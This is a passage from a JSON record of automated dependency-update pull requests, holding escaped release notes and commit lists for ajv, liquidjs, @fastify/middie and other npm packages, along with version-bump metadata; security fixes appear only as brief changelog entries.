href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebump version to 8.17.1 by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2472\"\u003eajv-validator/ajv#2472\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.0...v8.17.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ePlus everything in 8.17.0 which failed to release\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cp\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2444\"\u003eajv-validator/ajv#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\nfix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\ndocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\ndocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\nFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\ndocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\nfeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\nfix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\nfixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003eajv-validator/ajv#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev8.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eThe only functional change is to switch from uri-js (which is no longer supported), to fast-uri. This is the second attempt and the team on fast-uri have been really helpful addressing the issues we found last time.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;Revert fast-uri change (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2444\"\u003e#2444\u003c/a\u003e)\u0026quot; by \u003ca href=\"https://github.com/gurgunday\"\u003e\u003ccode\u003e@​gurgunday\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2448\"\u003eajv-validator/ajv#2448\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: ignore new eslint error for \u003ccode\u003e@​typescript-eslint/no-extraneous-class\u003c/code\u003e by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2455\"\u003eajv-validator/ajv#2455\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: clarify behaviour of addVocabulary by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2454\"\u003eajv-validator/ajv#2454\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: refactor to improve legibility by \u003ca href=\"https://github.com/blottn\"\u003e\u003ccode\u003e@​blottn\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2432\"\u003eajv-validator/ajv#2432\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix grammatical typo in managing-schemas.md by \u003ca href=\"https://github.com/wetneb\"\u003e\u003ccode\u003e@​wetneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2305\"\u003eajv-validator/ajv#2305\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: Fix broken strict-mode link by \u003ca href=\"https://github.com/alexanderjsx\"\u003e\u003ccode\u003e@​alexanderjsx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2459\"\u003eajv-validator/ajv#2459\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: add test for encoded refs and bump fast-uri by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2449\"\u003eajv-validator/ajv#2449\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2467\"\u003eajv-validator/ajv#2467\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2457\"\u003eajv-validator/ajv#2457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/9050ba1359fb87cd7c143f3c79513ea7624ea443\"\u003e\u003ccode\u003e9050ba1\u003c/code\u003e\u003c/a\u003e bump version to 8.17.1 (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2472\"\u003e#2472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f7831b41c3a27064c6219f51a1e7371ffb582dfe\"\u003e\u003ccode\u003ef7831b4\u003c/code\u003e\u003c/a\u003e fixes \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2217\"\u003e#2217\u003c/a\u003e - clarify custom keyword naming (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2457\"\u003e#2457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/a523784388a79ce65e42caf4d2731da36a94b386\"\u003e\u003ccode\u003ea523784\u003c/code\u003e\u003c/a\u003e fix: changes for \u003ccode\u003e@​typescript-eslint/array-type\u003c/code\u003e rule (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2467\"\u003e#2467\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/595fe58e64e8d5fb8a50fd7a58f9e7f3bcca0bac\"\u003e\u003ccode\u003e595fe58\u003c/code\u003e\u003c/a\u003e feat: add test for encoded refs and bump fast-uri (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2449\"\u003e#2449\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.12.0...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsonpath` from 1.1.1 to 1.3.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dchester/jsonpath/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `liquidjs` from 10.7.1 to 10.25.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/harttle/liquidjs/releases\"\u003eliquidjs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.25.5\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.4...v10.25.5\"\u003e10.25.5\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eenforce root containment for renderFile/parseFile lookups (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/870\"\u003e#870\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/f41c1fc02fe901598f3328118b42b13bc6bc9b04\"\u003ef41c1fc\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003enull date should return empty (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/868\"\u003e#868\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/872\"\u003e#872\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/4f9a49988a93c156524981e189a4fec238e682b8\"\u003e4f9a499\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003erounding negative away from zero when half (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/873\"\u003e#873\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/1cdf10b57d82f0592414efbfca19e204b37aea9f\"\u003e1cdf10b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.4\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.3...v10.25.4\"\u003e10.25.4\u003c/a\u003e (2026-04-07)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esort and sort_natural filters bypass ownPropertyOnly (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/869\"\u003e#869\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce\"\u003ee743da0\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.3\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.2...v10.25.3\"\u003e10.25.3\u003c/a\u003e (2026-04-06)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eprecise memoryLimit for string replace (\u003ca href=\"https://github.com/harttle/liquidjs/commit/abc058be0f33d6372cd2216f4945183167abeb25\"\u003eabc058b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse realpath for fs.contains (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/867\"\u003e#867\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/529dd67eeb6b125637623d6a723601f0938d3613\"\u003e529dd67\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.2\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.1...v10.25.2\"\u003e10.25.2\u003c/a\u003e (2026-03-25)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ehandle undefined replacement argument in replace filter (\u003ca href=\"https://redirect.github.com/harttle/liquidjs/issues/864\"\u003e#864\u003c/a\u003e) (\u003ca href=\"https://github.com/harttle/liquidjs/commit/0ad2b11ab15e7da608a9ef936b2a00a6a6517038\"\u003e0ad2b11\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.25.0...v10.25.1\"\u003e10.25.1\u003c/a\u003e (2026-03-22)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003emem limiter for invalid ranges (\u003ca href=\"https://github.com/harttle/liquidjs/commit/95ddefc056a11a44d9e753fd47a39db2c241e578\"\u003e95ddefc\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etreat args for replace_first as literal (\u003ca href=\"https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d\"\u003e35d5230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.25.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/harttle/liquidjs/compare/v10.24.0...v10.25.0\"\u003e10.25.0\u003c/a\u003e (...\n\n_Description has been truncated_","html_url":"https://github.com/dporkka/dittofeed-customer-engagement/pull/4","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/dporkka%2Fdittofeed-customer-engagement/issues/4","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/4/packages"}},{"old_version":"5.0.6","new_version":"6.2.0","update_type":"major","path":null,"pr_created_at":"2026-04-08T12:42:06.000Z","version_change":"5.0.6 → 6.2.0","issue":{"uuid":"4224575860","node_id":"PR_kwDOP80kr87Qzls8","number":29,"state":"closed","title":"chore(deps): bump the npm_and_yarn group across 5 directories with 19 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-08T21:27:34.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:42:06.000Z","updated_at":"2026-04-08T21:27:36.000Z","time_to_close":31528,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"npm_and_yarn","update_count":19,"packages":[{"name":"@fastify/middie","old_version":"9.0.3","new_version":"9.2.0","repository_url":"https://github.com/fastify/middie"},{"name":"fastify","old_version":"5.6.1","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"@astrojs/node","old_version":"9.4.4","new_version":"10.0.0","repository_url":"https://github.com/withastro/astro"},{"name":"astro","old_version":"5.13.10","new_version":"5.18.1","repository_url":"https://github.com/withastro/astro"},{"name":"vite","old_version":"5.4.20","new_version":"6.4.2","repository_url":"https://github.com/vitejs/vite"},{"name":"undici","old_version":"6.21.3","new_version":"6.24.0","repository_url":"https://github.com/nodejs/undici"},{"name":"yaml","old_version":"2.8.1","new_version":"2.8.3","repository_url":"https://github.com/eemeli/yaml"},{"name":"ajv","old_version":"8.17.1","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"mercurius","old_version":"16.2.0","new_version":"16.8.0","repository_url":"https://github.com/mercurius-js/mercurius"},{"name":"fast-jwt","old_version":"5.0.6","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"@nestjs/core","old_version":"11.1.6","new_version":"11.1.18","repository_url":"https://github.com/nestjs/nest"},{"name":"@nestjs/platform-fastify","old_version":"11.1.6","new_version":"11.1.16","repository_url":"https://github.com/nestjs/nest"},{"name":"next","old_version":"15.5.3","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"koa","old_version":"2.16.2","new_version":"2.16.4","repository_url":"https://github.com/koajs/koa"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 14 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@fastify/middie](https://github.com/fastify/middie) | `9.0.3` | `9.2.0` |\n| [fastify](https://github.com/fastify/fastify) | `5.6.1` | `5.8.3` |\n| [@astrojs/node](https://github.com/withastro/astro/tree/HEAD/packages/integrations/node) | `9.4.4` | `10.0.0` |\n| [astro](https://github.com/withastro/astro/tree/HEAD/packages/astro) | `5.13.10` | `5.18.1` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.20` | `6.4.2` |\n| [undici](https://github.com/nodejs/undici) | `6.21.3` | `6.24.0` |\n| [yaml](https://github.com/eemeli/yaml) | `2.8.1` | `2.8.3` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.17.1` | `8.18.0` |\n| [mercurius](https://github.com/mercurius-js/mercurius) | `16.2.0` | `16.8.0` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `5.0.6` | `6.2.0` |\n| [@nestjs/core](https://github.com/nestjs/nest/tree/HEAD/packages/core) | `11.1.6` | `11.1.18` |\n| [@nestjs/platform-fastify](https://github.com/nestjs/nest/tree/HEAD/packages/platform-fastify) | `11.1.6` | `11.1.16` |\n| [next](https://github.com/vercel/next.js) | `15.5.3` | `15.5.14` |\n| [koa](https://github.com/koajs/koa) | `2.16.2` | `2.16.4` |\n\nBumps the npm_and_yarn group with 2 updates in the /packages/db-authorization directory: [undici](https://github.com/nodejs/undici) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /packages/foundation directory: [undici](https://github.com/nodejs/undici).\nBumps the npm_and_yarn group with 2 updates in the /packages/runtime directory: [undici](https://github.com/nodejs/undici) and [fast-jwt](https://github.com/nearform/fast-jwt).\nBumps the npm_and_yarn group with 1 update in the /packages/service directory: [undici](https://github.com/nodejs/undici).\n\nUpdates `@fastify/middie` from 9.0.3 to 9.2.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/middie/releases\"\u003e\u003ccode\u003e@​fastify/middie\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.2.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cp\u003eFixes \u003ca href=\"https://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw\"\u003ehttps://github.com/fastify/middie/security/advisories/GHSA-8p85-9qpw-fwgw\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eci: remove stale.yml by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/247\"\u003efastify/middie#247\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/247\"\u003efastify/middie#247\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/middie/compare/v9.1.0...v9.2.0\"\u003ehttps://github.com/fastify/middie/compare/v9.1.0...v9.2.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(dependabot): reduce npm updates to monthly by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/228\"\u003efastify/middie#228\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: rename master to main by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/230\"\u003efastify/middie#230\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/231\"\u003efastify/middie#231\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: migrate from tap to node:test by \u003ca href=\"https://github.com/matteo-gobbo\"\u003e\u003ccode\u003e@​matteo-gobbo\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/229\"\u003efastify/middie#229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove .taprc by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/232\"\u003efastify/middie#232\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: set permissions at workflow level by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/233\"\u003efastify/middie#233\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci: restore job level permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/234\"\u003efastify/middie#234\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump serve-static from 1.16.2 to 2.2.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/235\"\u003efastify/middie#235\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump tsd from 0.31.2 to 0.32.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/236\"\u003efastify/middie#236\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(license): update date ranges; standardise style by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/237\"\u003efastify/middie#237\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.15.34 to 24.0.8 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/238\"\u003efastify/middie#238\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(tests): removed simple-get by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/239\"\u003efastify/middie#239\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump tsd from 0.32.0 to 0.33.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/fastify/middie/pull/241\"\u003efastify/middie#241\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(.npmrc): ignore scripts by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca 